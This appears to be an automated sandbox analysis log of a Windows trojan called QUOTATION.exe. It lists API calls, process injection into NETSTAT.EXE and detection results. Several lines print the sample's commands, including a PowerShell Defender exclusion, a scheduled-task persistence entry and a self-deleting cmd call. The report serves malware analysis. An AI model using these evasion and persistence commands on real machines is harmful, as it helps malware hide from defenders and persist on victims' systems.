Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041DFCE 17_2_0041DFCE
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00402FB0 17_2_00402FB0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEB090 17_2_00FEB090
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA830 17_2_00FFA830
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01091002 17_2_01091002
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010AE824 17_2_010AE824
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010020A0 17_2_010020A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A20A8 17_2_010A20A8
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF4120 17_2_00FF4120
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A28EC 17_2_010A28EC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDF900 17_2_00FDF900
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A2B28 17_2_010A2B28
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0107CB4F 17_2_0107CB4F
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100138B 17_2_0100138B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100EBB0 17_2_0100EBB0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010903DA 17_2_010903DA
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100ABD8 17_2_0100ABD8
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109DBD2 17_2_0109DBD2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010823E3 17_2_010823E3
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0108FA2B 17_2_0108FA2B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A22AE 17_2_010A22AE
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFAB40 17_2_00FFAB40
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A2D07 17_2_010A2D07
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A1D55 17_2_010A1D55
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002581 17_2_01002581
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB477 17_2_00FFB477
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092D82 17_2_01092D82
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A25DD 17_2_010A25DD
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE841F 17_2_00FE841F
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FED5E0 17_2_00FED5E0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109D466 17_2_0109D466
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094496 17_2_01094496
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD0D20 17_2_00FD0D20
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010ADFCE 17_2_010ADFCE
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF6E30 17_2_00FF6E30
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A1FF1 17_2_010A1FF1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109D616 17_2_0109D616
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A2EF7 17_2_010A2EF7
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00522050 17_2_00522050
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03312B28 24_2_03312B28
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326AB40 24_2_0326AB40
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0327EBB0 24_2_0327EBB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032F23E3 24_2_032F23E3
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330DBD2 24_2_0330DBD2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_033003DA 24_2_033003DA
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0327ABD8 24_2_0327ABD8
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032FFA2B 24_2_032FFA2B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_033122AE 24_2_033122AE
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03264120 24_2_03264120
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0324F900 24_2_0324F900
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032699BF 24_2_032699BF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0331E824 24_2_0331E824
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A830 24_2_0326A830
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03301002 24_2_03301002
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032720A0 24_2_032720A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_033120A8 24_2_033120A8
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0325B090 24_2_0325B090
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_033128EC 24_2_033128EC
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03311FF1 24_2_03311FF1
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0331DFCE 24_2_0331DFCE
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03266E30 24_2_03266E30
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330D616 24_2_0330D616
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03312EF7 24_2_03312EF7
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03240D20 24_2_03240D20
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03312D07 24_2_03312D07
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03311D55 24_2_03311D55
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03272581 24_2_03272581
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03302D82 24_2_03302D82
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0325D5E0 24_2_0325D5E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_033125DD 24_2_033125DD
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0325841F 24_2_0325841F
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330D466 24_2_0330D466
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304496 24_2_03304496
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074E887 24_2_0074E887
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_00732D90 24_2_00732D90
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_00739E60 24_2_00739E60
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_00739E5B 24_2_00739E5B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_00732FB0 24_2_00732FB0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: String function: 0324B150 appears 133 times
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: String function: 00FDB150 appears 136 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A360 NtCreateFile, 17_2_0041A360
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A410 NtReadFile, 17_2_0041A410
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A490 NtClose, 17_2_0041A490
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A540 NtAllocateVirtualMemory, 17_2_0041A540
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A35B NtCreateFile, 17_2_0041A35B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A40A NtReadFile, 17_2_0041A40A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A48A NtClose, 17_2_0041A48A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041A53C NtAllocateVirtualMemory, 17_2_0041A53C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019910 NtAdjustPrivilegesToken,LdrInitializeThunk, 17_2_01019910
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010199A0 NtCreateSection,LdrInitializeThunk, 17_2_010199A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019840 NtDelayExecution,LdrInitializeThunk, 17_2_01019840
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019860 NtQuerySystemInformation,LdrInitializeThunk, 17_2_01019860
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010198F0 NtReadVirtualMemory,LdrInitializeThunk, 17_2_010198F0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019A00 NtProtectVirtualMemory,LdrInitializeThunk, 17_2_01019A00
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019A20 NtResumeThread,LdrInitializeThunk, 17_2_01019A20
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019A50 NtCreateFile,LdrInitializeThunk, 17_2_01019A50
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019540 NtReadFile,LdrInitializeThunk, 17_2_01019540
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010195D0 NtClose,LdrInitializeThunk, 17_2_010195D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019710 NtQueryInformationToken,LdrInitializeThunk, 17_2_01019710
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019780 NtMapViewOfSection,LdrInitializeThunk, 17_2_01019780
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010197A0 NtUnmapViewOfSection,LdrInitializeThunk, 17_2_010197A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019660 NtAllocateVirtualMemory,LdrInitializeThunk, 17_2_01019660
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010196E0 NtFreeVirtualMemory,LdrInitializeThunk, 17_2_010196E0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019950 NtQueueApcThread, 17_2_01019950
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010199D0 NtCreateProcessEx, 17_2_010199D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019820 NtEnumerateKey, 17_2_01019820
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0101B040 NtSuspendThread, 17_2_0101B040
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010198A0 NtWriteVirtualMemory, 17_2_010198A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019B00 NtSetValueKey, 17_2_01019B00
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0101A3B0 NtGetContextThread, 17_2_0101A3B0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019A10 NtQuerySection, 17_2_01019A10
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019A80 NtOpenDirectoryObject, 17_2_01019A80
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019520 NtWaitForSingleObject, 17_2_01019520
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0101AD30 NtSetContextThread, 17_2_0101AD30
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019560 NtWriteFile, 17_2_01019560
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010195F0 NtQueryInformationFile, 17_2_010195F0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0101A710 NtOpenProcessToken, 17_2_0101A710
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019730 NtQueryVirtualMemory, 17_2_01019730
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019760 NtOpenProcess, 17_2_01019760
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0101A770 NtOpenThread, 17_2_0101A770
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019770 NtSetInformationFile, 17_2_01019770
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019FE0 NtCreateMutant, 17_2_01019FE0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019610 NtEnumerateValueKey, 17_2_01019610
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019650 NtQueryValueKey, 17_2_01019650
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01019670 NtQueryInformationProcess, 17_2_01019670
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010196D0 NtCreateKey, 17_2_010196D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289A50 NtCreateFile,LdrInitializeThunk, 24_2_03289A50
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289910 NtAdjustPrivilegesToken,LdrInitializeThunk, 24_2_03289910
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032899A0 NtCreateSection,LdrInitializeThunk, 24_2_032899A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289860 NtQuerySystemInformation,LdrInitializeThunk, 24_2_03289860
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289840 NtDelayExecution,LdrInitializeThunk, 24_2_03289840
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289710 NtQueryInformationToken,LdrInitializeThunk, 24_2_03289710
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289780 NtMapViewOfSection,LdrInitializeThunk, 24_2_03289780
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289FE0 NtCreateMutant,LdrInitializeThunk, 24_2_03289FE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289660 NtAllocateVirtualMemory,LdrInitializeThunk, 24_2_03289660
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289650 NtQueryValueKey,LdrInitializeThunk, 24_2_03289650
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032896E0 NtFreeVirtualMemory,LdrInitializeThunk, 24_2_032896E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032896D0 NtCreateKey,LdrInitializeThunk, 24_2_032896D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289540 NtReadFile,LdrInitializeThunk, 24_2_03289540
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032895D0 NtClose,LdrInitializeThunk, 24_2_032895D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289B00 NtSetValueKey, 24_2_03289B00
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0328A3B0 NtGetContextThread, 24_2_0328A3B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289A20 NtResumeThread, 24_2_03289A20
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289A00 NtProtectVirtualMemory, 24_2_03289A00
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289A10 NtQuerySection, 24_2_03289A10
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289A80 NtOpenDirectoryObject, 24_2_03289A80
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289950 NtQueueApcThread, 24_2_03289950
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032899D0 NtCreateProcessEx, 24_2_032899D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289820 NtEnumerateKey, 24_2_03289820
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0328B040 NtSuspendThread, 24_2_0328B040
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032898A0 NtWriteVirtualMemory, 24_2_032898A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032898F0 NtReadVirtualMemory, 24_2_032898F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289730 NtQueryVirtualMemory, 24_2_03289730
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0328A710 NtOpenProcessToken, 24_2_0328A710
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289760 NtOpenProcess, 24_2_03289760
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0328A770 NtOpenThread, 24_2_0328A770
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289770 NtSetInformationFile, 24_2_03289770
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032897A0 NtUnmapViewOfSection, 24_2_032897A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289610 NtEnumerateValueKey, 24_2_03289610
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289670 NtQueryInformationProcess, 24_2_03289670
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289520 NtWaitForSingleObject, 24_2_03289520
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0328AD30 NtSetContextThread, 24_2_0328AD30
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03289560 NtWriteFile, 24_2_03289560
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032895F0 NtQueryInformationFile, 24_2_032895F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A360 NtCreateFile, 24_2_0074A360
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A410 NtReadFile, 24_2_0074A410
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A490 NtClose, 24_2_0074A490
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A540 NtAllocateVirtualMemory, 24_2_0074A540
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A35B NtCreateFile, 24_2_0074A35B
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A40A NtReadFile, 24_2_0074A40A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A48A NtClose, 24_2_0074A48A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074A53C NtAllocateVirtualMemory, 24_2_0074A53C
Sample file is different than original file name gathered from version info
Source: QUOTATION.exe, 00000001.00000002.297891578.000000000040A000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameAppDomainInitializerIn.exeB vs QUOTATION.exe
Source: QUOTATION.exe, 00000001.00000002.302035905.00000000059B0000.00000004.00020000.sdmp Binary or memory string: OriginalFilenameUI.dllF vs QUOTATION.exe
Source: QUOTATION.exe, 00000001.00000003.287892144.00000000037E4000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameUI.dllF vs QUOTATION.exe
Source: QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameInnerException.dll" vs QUOTATION.exe
Source: QUOTATION.exe, 0000000D.00000000.290403933.00000000003DA000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameAppDomainInitializerIn.exeB vs QUOTATION.exe
Source: QUOTATION.exe, 00000011.00000002.378944407.000000000125F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION.exe
Source: QUOTATION.exe, 00000011.00000000.296533989.00000000005CA000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameAppDomainInitializerIn.exeB vs QUOTATION.exe
Source: QUOTATION.exe, 00000011.00000002.378732031.00000000010CF000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION.exe
Source: QUOTATION.exe, 00000011.00000002.378505567.0000000000FA0000.00000040.00020000.sdmp Binary or memory string: OriginalFilenamenetstat.exej% vs QUOTATION.exe
Source: QUOTATION.exe Binary or memory string: OriginalFilenameAppDomainInitializerIn.exeB vs QUOTATION.exe
Source: QUOTATION.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: lQdAGavApIJoo.exe.1.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: QUOTATION.exe Virustotal: Detection: 40%
Source: QUOTATION.exe ReversingLabs: Detection: 18%
Source: C:\Users\user\Desktop\QUOTATION.exe File read: C:\Users\user\Desktop\QUOTATION.exe Jump to behavior
Source: QUOTATION.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\QUOTATION.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\QUOTATION.exe "C:\Users\user\Desktop\QUOTATION.exe"
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lQdAGavApIJoo" /XML "C:\Users\user\AppData\Local\Temp\tmp8E88.tmp
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\QUOTATION.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lQdAGavApIJoo" /XML "C:\Users\user\AppData\Local\Temp\tmp8E88.tmp Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\QUOTATION.exe" Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe File created: C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe File created: C:\Users\user\AppData\Local\Temp\tmp8E88.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@17/8@2/1
Source: C:\Users\user\Desktop\QUOTATION.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7164:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6936:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3180:120:WilError_01
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: QUOTATION.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: QUOTATION.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: netstat.pdbGCTL source: QUOTATION.exe, 00000011.00000002.378505567.0000000000FA0000.00000040.00020000.sdmp
Source: Binary string: netstat.pdb source: QUOTATION.exe, 00000011.00000002.378505567.0000000000FA0000.00000040.00020000.sdmp
Source: Binary string: wntdll.pdbUGP source: QUOTATION.exe, 00000011.00000002.378532857.0000000000FB0000.00000040.00000001.sdmp, QUOTATION.exe, 00000011.00000002.378732031.00000000010CF000.00000040.00000001.sdmp, NETSTAT.EXE, 00000018.00000002.547801990.0000000003220000.00000040.00000001.sdmp, NETSTAT.EXE, 00000018.00000002.548437267.000000000333F000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: QUOTATION.exe, QUOTATION.exe, 00000011.00000002.378532857.0000000000FB0000.00000040.00000001.sdmp, QUOTATION.exe, 00000011.00000002.378732031.00000000010CF000.00000040.00000001.sdmp, NETSTAT.EXE, NETSTAT.EXE, 00000018.00000002.547801990.0000000003220000.00000040.00000001.sdmp, NETSTAT.EXE, 00000018.00000002.548437267.000000000333F000.00000040.00000001.sdmp

Data Obfuscation:

barindex
.NET source code contains potential unpacker
Source: QUOTATION.exe, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: lQdAGavApIJoo.exe.1.dr, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.QUOTATION.exe.360000.0.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.0.QUOTATION.exe.360000.0.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 13.0.QUOTATION.exe.330000.0.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 13.0.QUOTATION.exe.330000.3.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
